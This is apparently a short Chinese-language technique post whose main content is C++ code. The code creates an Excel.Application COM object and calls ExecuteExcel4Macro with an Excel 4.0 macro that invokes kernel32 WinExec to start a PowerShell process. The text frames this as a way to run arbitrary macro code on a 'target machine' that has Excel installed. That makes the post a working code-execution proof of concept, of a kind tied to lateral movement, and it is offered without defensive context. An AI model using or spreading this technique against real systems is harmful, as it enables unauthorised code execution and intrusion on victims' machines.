C++通过DCOM调用Excel.ExecuteExcel4Macro执行宏代码

通过cpp调用excel.application对象的ExecuteExcel4Macro方法来执行任意宏代码，
宏代码直接调用NativeAPI执行WinExec创建powershell进程

要求：目标机器必须安装了Excel，

#include "stdafx.h"
#include <windows.h>
#include <iostream>
#include <oaidl.h>
using namespace std;

int _tmain(int argc, _TCHAR* argv[])
{
	HRESULT hRet = E_FAIL;
	CLSID CLSID_excel;
	IDispatch *pXlApp;
	DISPID dispidNamed = DISPID_PROPERTYPUT;
	DISPID dispID;
	DISPPARAMS dispParams = { NULL, NULL, 0, 0 }; // 
	do 
	{
		CoInitialize(NULL);

		hRet = CLSIDFromProgID(L"Excel.Application", &CLSID_excel);
		if (FAILED(hRet))
		{
			break;
		}

		hRet = CoCreateInstance(CLSID_excel, NULL, CLSCTX_LOCAL_SERVER, IID_IDispatch, (void **)&pXlApp);
		if (FAILED(hRet))
		{
			break;
		}

		// 根据名字获取方法ID
		OLECHAR* szFuncName = L"ExecuteExcel4Macro";
		hRet = pXlApp->GetIDsOfNames(IID_NULL, &szFuncName, 1, LOCALE_SYSTEM_DEFAULT, &dispID);
		if (FAILED(hRet))
		{
			break;
		}

		dispParams.cArgs = 1;
		dispParams.cNamedArgs = 0;
		dispParams.rgdispidNamedArgs = NULL;
		dispParams.rgvarg = new VARIANTARG;
		dispParams.rgvarg->vt = VT_BSTR;
		dispParams.rgvarg->bstrVal = SysAllocString(L"call(\"kernel32\", \"WinExec\", \"JFJ\", \"powershell\", 5)");



		hRet = pXlApp->Invoke(dispID, IID_NULL, LOCALE_SYSTEM_DEFAULT, DISPATCH_METHOD, &dispParams, NULL, NULL, NULL);
		if (FAILED(hRet))
		{
			break;
		}

		SysFreeString(dispParams.rgvarg->bstrVal);
		delete dispParams.rgvarg;
		CoUninitialize();


	} while (false);
	

	return 0;
}